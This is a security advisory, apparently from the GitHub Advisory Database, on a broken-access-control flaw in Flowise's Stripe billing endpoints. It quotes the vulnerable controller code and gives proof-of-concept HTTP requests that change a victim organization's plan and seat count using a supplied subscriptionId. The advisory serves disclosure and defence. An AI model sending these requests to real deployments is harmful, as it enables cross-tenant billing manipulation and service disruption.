Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

### Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId. This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption. ### Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context. **File** packages/server/src/enterprise/routes/organization.route.ts Affected routes: ```typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan ``` **File** packages/server/src/enterprise/controllers/organization.controller.ts ```typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer. Missing validation: subscriptionId belongs to req.user.activeOrganization updateAdditionalSeats ```typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body const identityManager = getRunningExpressApp().identityManager const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate ) return res.status(StatusCodes.OK).json(result) } ``` Again, the subscriptionId is taken directly from the request body without verifying ownership. ### PoC Step 1 - Obtain victim subscriptionId This identifier may be obtained via the organization read endpoint or other exposed references. Example: sub_YYYYYYYYYYYY Step 2 - Modify victim subscription ```http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "newPlanId": "free_plan_id", "prorationDate": 1735689600 } ``` Step 3 - Change seat quantity ```http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json { "subscriptionId": "sub_YYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 } ``` ### Impact An authenticated attacker can manipulate the Stripe subscription of other organizations. Possible consequences include: - Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Source published

4 Aug 2026 19:24:07 UTC

Source modified

4 Aug 2026 19:41:02 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Publisher rating · HIGH